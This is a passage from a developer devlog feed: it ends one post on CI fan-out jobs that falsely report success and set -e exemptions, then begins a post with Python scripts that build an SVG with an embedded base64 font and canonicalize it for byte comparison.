&lt;p&gt;&lt;strong&gt;A warning is not a failure, and neither is an error annotation.&lt;/strong&gt; Downgrading a failed step to a warning always has a plausible story attached, and press’s was reasonable-sounding: the release itself already succeeded, this is only the fan-out, and the weekly run will retry. What that reasoning misses is that the green tick then asserts something false to everyone who reads it later. Symptom: nobody investigates, because there is nothing that looks like a problem, and the brand sits unpropagated until someone notices by eye. The escape is to decide what the job &lt;em&gt;claims&lt;/em&gt; when it’s green, and make anything that falsifies that claim exit non-zero.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;set -e&lt;/code&gt; will not save a loop you deliberately made non-fatal.&lt;/strong&gt; The moment a fan-out wraps each step in &lt;code&gt;if&lt;/code&gt; or &lt;code&gt;|| true&lt;/code&gt; so it can continue, every shell safety net stops applying to those steps, and this is documented rather than surprising: the &lt;a href=&quot;https://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html&quot;&gt;Bash manual&lt;/a&gt; lists the exemptions, including a command that is “part of the test in an &lt;code&gt;if&lt;/code&gt; statement” and one that is “part of any command executed in a &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; or &lt;code&gt;||&lt;/code&gt; list except the command following the final &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; or &lt;code&gt;||&lt;/code&gt;”. Which is to say the exact two shapes a fan-out is built from. The only thing then standing between a total failure and a green run is an integer you remembered to check at the end. Symptom: a script that looks defensive at the top, with &lt;code&gt;set -euo pipefail&lt;/code&gt; right there on line two, and still cannot fail where it matters. The escape is to treat the failure counter as the real exit condition and test it directly, rather than trusting the top of the file.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_auth_setup-git&quot;&gt;&lt;code&gt;gh auth setup-git&lt;/code&gt;&lt;/a&gt; — the command that configures git to use the GitHub CLI as a credential helper&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-commands&quot;&gt;GitHub Docs: Workflow commands for GitHub Actions&lt;/a&gt; — &lt;code&gt;::error::&lt;/code&gt; writes an annotation; &lt;code&gt;core.setFailed&lt;/code&gt; is documented as that plus &lt;code&gt;exit 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html&quot;&gt;GNU Bash manual: The Set Builtin&lt;/a&gt; — the documented contexts in which &lt;code&gt;set -e&lt;/code&gt; does not exit, including &lt;code&gt;if&lt;/code&gt; tests and &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;/&lt;code&gt;||&lt;/code&gt; lists&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): the fan-out could not push, and said it succeeded (0.6.1) (#131) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/68de5ab79850a34112ec28cee876573879f67037&quot;&gt;68de5ab&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.6.1.png" length="27365" type="image/png"/></item><item><title>Proving nothing changed, when the build never repeats itself</title><link>https://natejswenson.com/devlog/press/v0.5.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.5.0/</guid><description>Byte comparison is the cleanest way to prove a refactor changed nothing, until the build embeds something that differs every run. Canonicalize the volatile field instead of deleting it, and keep a control that proves the check can still fail.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.5.0 migrated the last hand-maintained copy of a shared brand, in a repo that generates a GitHub profile README from SVG tiles. Its header had named another repository’s stylesheet as canonical with nothing keeping the two honest, which made it the ninth copy and the last one. Every value came out identical; the only content change was a comment header becoming a generated region marker.&lt;/p&gt;
&lt;p&gt;Verifying that was the interesting part. Those SVG tiles embed subsetted WOFF2, and font subsetting is not byte-reproducible: rebuilding the &lt;em&gt;untouched&lt;/em&gt; repository produced different base64 payloads. A straight byte comparison would have failed every time while proving nothing at all. Parity was confirmed instead by stripping the font payloads and comparing everything else, giving 7 of 7 SVGs and the generated README identical.&lt;/p&gt;
&lt;p&gt;That problem is not really about fonts. The Reproducible Builds project &lt;a href=&quot;https://reproducible-builds.org/docs/definition/&quot;&gt;defines the property you want&lt;/a&gt; as: “Given the same source code, build environment and build instructions, any party can recreate bit-by-bit identical copies of all specified artifacts.” Most builds do not have it, and &lt;a href=&quot;https://reproducible-builds.org/docs/deterministic-build-systems/&quot;&gt;their catalogue of causes&lt;/a&gt; is a list of things you probably ship: embedded modification times, build-id sections, absolute paths baked into output, “factors that are hard or impossible to control like the ordering of files on a filesystem or the current time.” The usual response is to give up on byte comparison entirely and eyeball the output. There’s a better move.&lt;/p&gt;
&lt;h2&gt;Two bad options, and the one worth taking&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Compare raw bytes.&lt;/strong&gt; Fails on every run for reasons that have nothing to do with your change. You learn to ignore it, which is the same as not having it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Delete the volatile part and compare the rest.&lt;/strong&gt; Clean diffs forever, including for a change that genuinely broke the payload. This is the tempting one, and it converts your verification into a decorative one. If your normalizer removes a font, it will happily tell you two documents match when one of them has the wrong font.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Canonicalize.&lt;/strong&gt; Replace the volatile bytes with a stable fingerprint &lt;em&gt;of what they mean&lt;/em&gt;. The diff stays quiet across reruns, and still goes loud if the payload’s real content moves. The rest of this guide builds that, plus the controls that prove it works.&lt;/p&gt;
&lt;p&gt;Everything here is Python’s standard library.&lt;/p&gt;
&lt;h2&gt;A build that can’t repeat itself&lt;/h2&gt;
&lt;p&gt;First, something to verify. This emits an SVG tile with a “subsetted font” inlined as base64, standing in for any build that embeds a compiled asset. Save it as &lt;code&gt;build.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Build one SVG tile with a subsetted font embedded as base64.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;Stands in for any build that inlines a compiled asset: a font subsetter, a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;bundler, an image optimizer. The thing they have in common is that the payload&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;carries per-run metadata, so identical inputs do not produce identical bytes.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gzip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; uuid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pathlib &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GLYPHS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; subset_font&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(glyphs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Every real subsetter stamps a per-run tag into its output.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    tag &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; uuid.uuid4().hex[:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].upper()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    payload &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SUBSET-TAG:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tag&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;GLYPHS:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;glyphs&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.encode()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base64.b64encode(gzip.compress(payload)).decode()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; build&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, out):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    font &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; subset_font(GLYPHS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Path(out).write_text(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&amp;#x3C;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;400&quot; height=&quot;120&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    @font-face &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; font-family: Tile; src: url(data:font/woff2;base64,&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;); &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    .bg &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fill: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;paper&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    .fg &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fill: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;; font-family: Tile; font-size: 24px; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    .rule &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; stroke: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;; stroke-width: 3; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;rect class=&quot;bg&quot; width=&quot;400&quot; height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;text class=&quot;fg&quot; x=&quot;24&quot; y=&quot;56&quot;&gt;Nate Swenson&amp;#x3C;/text&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;line class=&quot;rule&quot; x1=&quot;24&quot; y1=&quot;80&quot; x2=&quot;376&quot; y2=&quot;80&quot;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/svg&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    build(json.loads(Path(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tokens.json&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).read_text()), sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;built &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The per-run tag is not invented for the demo. Real subsetters emit exactly this: a six-character prefix identifying the subset, which is why &lt;a href=&quot;https://www.mankier.com/1/pdffonts&quot;&gt;&lt;code&gt;pdffonts&lt;/code&gt;&lt;/a&gt; reports the font name “exactly as given in the PDF file (potentially including a subset prefix)”, producing entries like &lt;code&gt;WMHEWB+Helvetica-Neue-Bold&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Canonicalize the payload&lt;/h2&gt;
&lt;p&gt;The whole design is in &lt;code&gt;fingerprint()&lt;/code&gt;. Save this as &lt;code&gt;canonicalize.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Make a non-reproducible artifact comparable, without making the check vacuous.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gzip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; hashlib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pathlib &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;PAYLOAD_RE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.compile(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;r&quot;base64,([&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;A-Za-z0-9+/=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;]+)\)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# The one field the subsetter stamps per run. Everything else in the payload is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# real content and must still be compared.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;VOLATILE_LINE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.compile(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;rb&quot;^SUBSET-TAG:[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0-9A-F&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;]+$&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, re.MULTILINE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fingerprint&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b64):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;A stable identity for a payload whose bytes are not stable.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Decode it, drop ONLY the field known to vary per run, and hash what is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    left. Deleting the whole payload would also make the diff clean, and would&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    make it clean for a genuinely changed font too.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    raw &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gzip.decompress(base64.b64decode(b64))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    stable &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; VOLATILE_LINE.sub(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, raw)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; hashlib.sha256(stable).hexdigest()[:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; canonicalize&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; PAYLOAD_RE.sub(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;base64,&amp;#x3C;payload sha256:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fingerprint(m.group(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&gt;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    a, b &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Path(sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]), Path(sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
